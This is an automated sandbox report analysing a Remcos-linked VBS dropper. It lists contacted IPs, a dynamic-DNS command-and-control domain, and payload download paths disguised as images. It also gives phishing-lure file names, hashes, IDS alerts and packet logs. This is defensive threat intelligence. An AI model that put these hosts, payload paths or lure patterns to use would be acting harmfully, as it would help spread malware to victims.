http://geoplugin.net/json.gp/C	powershell.exe, 00000002.00000002.1328673356.00000246335CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1328673356.00000246343D8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2484502723.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gpl	RegAsm.exe, 00000004.00000002.2488829216.000000000126C000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1328673356.000002463362F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://geoplugin.net/json.gpw	RegAsm.exe, 00000004.00000002.2488829216.000000000126C000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1264396222.00000246235C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1264396222.00000246235C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://192.3.176.154	powershell.exe, 00000002.00000002.1264396222.0000024623A4E000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://198.46.176.133	powershell.exe, 00000002.00000002.1264396222.00000246237E4000.00000004.00000800.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gpSystem32	RegAsm.exe, 00000004.00000002.2488829216.000000000122B000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.176.154	unknown	United States	36352	AS-COLOCROSSINGUS	false
192.210.214.9	2024remcmon.duckdns.org	United States	36352	AS-COLOCROSSINGUS	true
198.46.176.133	unknown	United States	36352	AS-COLOCROSSINGUS	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483436
Start date and time:	2024-07-27 13:31:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	createactiveimagesbeautygirlfrnd.gIF.vbs
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winVBS@6/4@2/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 44 Number of non-executed functions: 214
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:32:05	API Interceptor	38x Sleep call for process: powershell.exe modified
09:01:48	API Interceptor	1781740x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.3.176.154	erthings.doc	Get hash	malicious	Remcos	Browse	192.3.176.154/50/HNBC.txt
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	192.3.176.154/xampp/glo/KBV.txt
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	192.3.176.154/50/HNBC.txt
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	192.3.176.154/xampp/glo/KBV.txt
192.210.214.9	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	girlfrnd.doc	Get hash	malicious	Remcos	Browse
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse
	IlWPStOFHj.rtf	Get hash	malicious	Remcos	Browse
	1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exe	Get hash	malicious	Remcos, PrivateLoader	Browse
198.46.176.133	creatednewwaterbottleforme.gIF.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133/Upload/vbs.jpeg
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	erthings.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	#U00d6DEME TAVS#U0130YES#U0130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
2024remcmon.duckdns.org	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	192.210.214.9
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
	INQUIRY#809676-JULY1.xla.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
	1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exe	Get hash	malicious	Remcos, PrivateLoader	Browse	192.210.214.9
	izjbNXbbDX.rtf	Get hash	malicious	Remcos	Browse	107.172.31.178
	1710228246da2ebbe442542c426e28c0df992bca85d59c521a027975c70d161027e53b6d2f971.dat-decoded.exe	Get hash	malicious	Remcos	Browse	107.172.31.178
	RFQ No. PO414501.xla.xlsx	Get hash	malicious	Remcos	Browse	107.172.31.178
geoplugin.net	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Shipping documents PO 16103 INV.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	erthings.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	UD61dgs2rz.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	178.237.33.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	creatednewwaterbottleforme.gIF.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	107.173.160.137
	jjjUC5ggb2nQMb1B6SvBkwmT.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	23.94.183.150
	WIwTo1UTMq.elf	Get hash	malicious	Mirai	Browse	104.168.36.68
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
AS-COLOCROSSINGUS	creatednewwaterbottleforme.gIF.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	107.173.160.137
	jjjUC5ggb2nQMb1B6SvBkwmT.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	23.94.183.150
	WIwTo1UTMq.elf	Get hash	malicious	Mirai	Browse	104.168.36.68
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34
ATOM86-ASATOM86NL	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Shipping documents PO 16103 INV.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	erthings.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	UD61dgs2rz.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	178.237.33.50
AS-COLOCROSSINGUS	creatednewwaterbottleforme.gIF.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	107.173.160.137
	jjjUC5ggb2nQMb1B6SvBkwmT.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	23.94.183.150
	WIwTo1UTMq.elf	Get hash	malicious	Mirai	Browse	104.168.36.68
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	104.168.45.34

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.012309356796613
Encrypted:	false
SSDEEP:	12:tklu+mnd66GkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkwV:qlu+KdbauKyGX85jvXhNlT3/7AcV9Wro
MD5:	14B479958E659C5A4480548A393022AC
SHA1:	CD0766C1DAB80656D469ABDB22917BE668622015
SHA-256:	0F92BDD807D2F5C9947E1775A20231233043C171F62E1AFA705A7E7938909BFE
SHA-512:	4E87CA47392DD9710F9E3D4A2124A34B41938986A4F43D50A48623DB1838C0D6CFF05FD2A23792DCD5A974A94416C97DC04ECEF85025FC785F3393B69A0B1DC5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"0ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dsftexbx.hx4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fig4okvo.32s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.575965695258709
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	createactiveimagesbeautygirlfrnd.gIF.vbs
File size:	427'434 bytes
MD5:	fd92f8bccf35e72fe49bab1b596eefce
SHA1:	40ecaf11bef8907906b8ddea0ae7d90098a4cebc
SHA256:	bfae575fb0e846ba3d7929e3d8a8e593dcd529ed6ff2f0f6d6378339b0f10aa8
SHA512:	d344643c03f233667a115149110cd89b3570c87012e578b1cf793b2515a524a3980a99b2c51712e406bd3ad92dcaa17f76eb81a8ab0a767ce5ee403dd428d0f6
SSDEEP:	3072:sHGgwfzYF2hNe4VTdRnTT8w4TWEvqK3g4YpFka+bS7oNePYZCRAXG+al8zq:2wfzYF1vqP
TLSH:	9C94CE1662ED5108F2F33F54A9BA55258A3BBEEA9C79C54D05CC5A5E0BE3A00CC707B3
File Content Preview:	..d.i.m. .p.o.s.u.a.l. .....p.o.s.u.a.l. .=. .r.e.g.a.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".p.a.l.p.a.b.i.l.i.z.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.n.e.g.a.l.h.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T13:33:04.956471+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	54705	13.85.23.86	192.168.2.7
2024-07-27T13:32:11.251710+0200	TCP	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	49701	14645	192.168.2.7	192.210.214.9
2024-07-27T13:32:08.868194+0200	TCP	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	80	49699	198.46.176.133	192.168.2.7
2024-07-27T13:32:24.217562+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49703	13.85.23.86	192.168.2.7
2024-07-27T13:32:07.798035+0200	TCP	2047750	ET MALWARE Base64 Encoded MZ In Image	80	49699	198.46.176.133	192.168.2.7
2024-07-27T13:32:09.837630+0200	TCP	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	80	49700	192.3.176.154	192.168.2.7
2024-07-27T13:32:13.238777+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49702	80	192.168.2.7	178.237.33.50

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 13:32:06.844027996 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:06.848984957 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:06.849071026 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:06.849863052 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:06.854715109 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.589927912 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.589943886 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.589955091 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590003014 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.590033054 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590044975 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590054035 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590060949 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590084076 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.590110064 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.590137005 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590147018 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590156078 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590166092 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590178013 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.590209007 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.590400934 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.590445995 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.595379114 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595422983 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595436096 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.595438004 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595474958 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595478058 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.595488071 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595539093 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.595587969 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595602036 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595613003 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595642090 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.595680952 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595695972 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.595720053 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.596226931 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.596241951 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.596254110 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.596271992 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.596292019 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.596296072 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.596307993 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.596365929 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.597140074 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.597172976 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.597187042 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.597215891 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.600697994 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.600724936 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.600753069 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.600773096 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.600788116 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.600817919 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.600918055 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.600928068 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.600949049 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.601471901 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.601514101 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.601520061 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.601532936 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.601571083 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.601608038 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.602204084 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.602216005 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.602240086 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.602246046 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.602255106 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.602291107 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.602899075 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.602941036 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.602952003 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.602963924 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.603008032 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.603035927 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.603665113 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.603707075 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.603728056 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.603787899 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.603799105 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.603810072 CEST	80	49699	198.46.176.133	192.168.2.7
Jul 27, 2024 13:32:07.603832960 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.603849888 CEST	49699	80	192.168.2.7	198.46.176.133
Jul 27, 2024 13:32:07.604609013 CEST	80	49699	198.46.176.133	192.168.2.7
